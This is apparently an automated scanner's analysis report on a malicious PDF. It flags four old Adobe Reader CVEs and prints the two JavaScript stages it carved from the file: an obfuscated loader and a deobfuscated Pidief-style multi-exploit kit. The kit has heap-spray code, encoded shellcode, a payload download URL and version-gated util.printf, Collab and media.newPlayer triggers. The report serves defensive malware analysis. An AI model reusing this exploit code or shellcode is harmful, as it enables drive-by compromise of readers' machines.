MALICIOUS
410
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 JavaScript
The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript_obj0024_000.js artifact. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely responsible for executing malicious actions, such as downloading a second-stage payload or initiating a phishing attempt. The document body is heavily obfuscated and truncated, preventing a more detailed analysis of its specific lure.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
-
media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
-
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
-
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
-
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://lab-news.org//loading.php?spl=pdf_2010 Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0024_000.js |
pdf-javascript-stream | PDF /JS object 24 at offset 0x2FAF | 39235 bytes |
SHA-256: 4922e39310163562a11da3bc5d1e8445353ed6ca8be50206d121405fa60f8bc3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
/* abscise virginia password abirritate abjuration random mack abiological aaronitic *//* abscise virginia password abirritate abjuration random mack abiological aaronitic */var foxitD =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ "pe"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, ""/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "ca"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "es"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "un"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */]; d/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= new/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ String (/* abscise virginia password abirritate abjuration random mack abiological aaronitic */foxitD [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */4 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ foxitD/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 3/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */foxitD [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */2 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ foxitD/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 0/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */foxitD [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */1 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ var send/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"d" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"a" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"h" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"o" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"e" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"t" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"r" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"c" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"C" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"A" ];/* abscise virginia password abirritate abjuration random mack abiological aaronitic */array =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */new String/* abscise virginia password abirritate abjuration random mack abiological aaronitic */( send/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 8/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */send [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */3 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ send/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 1/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */send [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */7 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ send/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 9/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */send [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */4 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ send/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 0/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */send [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */5 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ send/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 10/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */send [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */6 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ send/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 2/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] )/* abscise virginia password abirritate abjuration random mack abiological aaronitic */; /* abscise virginia password abirritate abjuration random mack abiological aaronitic */var edit =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ "rd"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, ""/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "ag"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "tP"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "eN"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "ge"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "Wo"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "th"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */]; window/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= new/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ String (/* abscise virginia password abirritate abjuration random mack abiological aaronitic */edit [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */5 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ edit/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 3/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */edit [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */2 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ edit/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 4/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */edit [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */7 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ edit/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 6/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */edit [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */0 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ edit/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 1/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] )/* abscise virginia password abirritate abjuration random mack abiological aaronitic */; /* abscise virginia password abirritate abjuration random mack abiological aaronitic */var dWindow =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ ""/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "rd"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "Wo"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "um"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "eN"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "ge"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "s"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "ag"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "tP"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */]; checkSend/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= new/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ String (/* abscise virginia password abirritate abjuration random mack abiological aaronitic */dWindow [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */5 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ dWindow/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 8/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */dWindow [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */7 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ dWindow/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 4/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */dWindow [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */3 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ dWindow/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 2/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */dWindow [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */1 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ dWindow/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 6/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */dWindow [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */0 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ var b/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"ar" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"Ch" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"fr" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"om" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"de" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"Co" ];/* abscise virginia password abirritate abjuration random mack abiological aaronitic */google =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */new String/* abscise virginia password abirritate abjuration random mack abiological aaronitic */( b/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 2/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */b [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */3 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ b/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 1/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */b [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */0 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ b/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 6/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */b [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */5 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ b/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 4/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] )/* abscise virginia password abirritate abjuration random mack abiological aaronitic */; /* abscise virginia password abirritate abjuration random mack abiological aaronitic */var googleFoxit =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ "v"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "e"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, ""/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "a"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, "l"/* abscise virginia password abirritate abjuration random mack abiological aaronitic */]; arrayGet/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= new/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ String (/* abscise virginia password abirritate abjuration random mack abiological aaronitic */googleFoxit [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */1 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ googleFoxit/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 0/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */googleFoxit [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */3 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ googleFoxit/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 4/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */googleFoxit [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */2 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ var get/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"p" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"p" ,/* abscise virginia password abirritate abjuration random mack abiological aaronitic */"a" ];/* abscise virginia password abirritate abjuration random mack abiological aaronitic */editSend =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */new String/* abscise virginia password abirritate abjuration random mack abiological aaronitic */( get/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 3/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */get [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */0 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ get/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ 0/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] +/* abscise virginia password abirritate abjuration random mack abiological aaronitic */get [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */1 ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ /* abscise virginia password abirritate abjuration random mack abiological aaronitic */var editSend/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= this/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ editSend/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */var windowFoxit/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= 110/* abscise virginia password abirritate abjuration random mack abiological aaronitic */; var/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ c =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */4 ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */var a/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= new/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ String (/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */var unlock/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= new String("%jUza".substr(0,1))/* abscise virginia password abirritate abjuration random mack abiological aaronitic */; var/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ email =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */this [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */d ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */; var/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ aC =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */this [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */checkSend ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */( c/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ for/* abscise virginia password abirritate abjuration random mack abiological aaronitic */( var/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ aEdit =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */0; aEdit/* abscise virginia password abirritate abjuration random mack abiological aaronitic */< aC;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */aEdit++ )/* abscise virginia password abirritate abjuration random mack abiological aaronitic */{ /* abscise virginia password abirritate abjuration random mack abiological aaronitic */editMail=this [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */window ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */( c/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, aEdit/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */var readerUnlock/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= editMail/* abscise virginia password abirritate abjuration random mack abiological aaronitic */. substr/* abscise virginia password abirritate abjuration random mack abiological aaronitic */( editMail/* abscise virginia password abirritate abjuration random mack abiological aaronitic */. length/* abscise virginia password abirritate abjuration random mack abiological aaronitic */- 2/* abscise virginia password abirritate abjuration random mack abiological aaronitic */, 2/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */var bGoogle/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= email/* abscise virginia password abirritate abjuration random mack abiological aaronitic */( unlock/* abscise virginia password abirritate abjuration random mack abiological aaronitic */+ readerUnlock/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */var foxitCheck/* abscise virginia password abirritate abjuration random mack abiological aaronitic */= bGoogle/* abscise virginia password abirritate abjuration random mack abiological aaronitic */[ array/* abscise virginia password abirritate abjuration random mack abiological aaronitic */] (/* abscise virginia password abirritate abjuration random mack abiological aaronitic */0 )/* abscise virginia password abirritate abjuration random mack abiological aaronitic */; var/* abscise virginia password abirritate abjuration random mack abiological aaronitic */ reader =/* abscise virginia password abirritate abjuration random mack abiological aaronitic */foxitCheck ^/* abscise virginia password abirritate abjuration random mack abiological aaronitic */windowFoxit ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */a +=/* abscise virginia password abirritate abjuration random mack abiological aaronitic */String [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */google ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */( reader/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */} /* abscise virginia password abirritate abjuration random mack abiological aaronitic */this [/* abscise virginia password abirritate abjuration random mack abiological aaronitic */arrayGet ]/* abscise virginia password abirritate abjuration random mack abiological aaronitic */( a/* abscise virginia password abirritate abjuration random mack abiological aaronitic */) ;/* abscise virginia password abirritate abjuration random mack abiological aaronitic */
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3494 bytes |
SHA-256: 9bae42d605ae794370c48f8d48991842abc52f6e3f5b935c0b5f5f37d83e04a2 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
/* getPageWords download URL: http://lab-news.org//loading.php?spl=pdf_2010 */
var _u="http://lab-news.org//loading.php?spl=pdf_2010 ";
�Š�ÄŰ����´���������à����������������à��à��à���
var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();
function get_shellcode(name) {
var u = get_url();
var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
s+= u;
return unescape(s);
}
function get_url(){
var str = this.info.author;
var ret = encode_str(str, dest_table, src_table);
return ret;
};
function encode_str(str, src_table, dest_table){
var ret="";
for(var i=0; i < str.length; i++)
{
var index = src_table.indexOf(str[i]);
if(index > -1 )
{
ret += dest_table[index];
}
}
return ret;
};
function Rq4v1qCC(PDrScZj4, ez5pL6){
while (PDrScZj4.length * 2 < ez5pL6){
PDrScZj4 += PDrScZj4;
}
PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2); return PDrScZj4;
}
function x8EvTm(I7T0vko5){
var qPBt7D = 0x0c0c0c0c;
NRjjR6W6 = get_shellcode("pdf");
if (I7T0vko5 == 1){qPBt7D = 0x30303030;}
var FeQq1Vv = 0x400000;
var tsSzSc = NRjjR6W6.length * 2; var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);
var PDrScZj4 = unescape("%u9090%u9090");
PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);
var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;
for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){
hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;
}
}
function U2UcYKr(){
var IyIFVe = app.viewerVersion.toString();
if (IyIFVe > 8)
{
x8EvTm(1);
var iVvCdy8 = "12999999999999999999";
for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
{
iVvCdy8 += "8";
}
util.printf("%45000f", iVvCdy8);
}
if (IyIFVe < 8){
x8EvTm(0);
var UNXaCTHb = unescape("%u0c0c%u0c0c");
while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;
this .collabStore = Collab.collectEmailInfo({ subj : "", msg : UNXaCTHb});
}
if (IyIFVe < 9.1){
if (app.doc.Collab.getIcon)
{
x8EvTm(0);
var eGREUTNw = unescape("%09");
while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;
eGREUTNw = "N." + eGREUTNw;
app.doc.Collab.getIcon(eGREUTNw);
}
}
if (IyIFVe == 9.2){
x8EvTm(1);
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
try
{
media.newPlayer(null);
} catch(e)
{}
util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}
}
U2UcYKr();
������������������������������������������������à�����������Ġ�������°�� �}zz��<
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.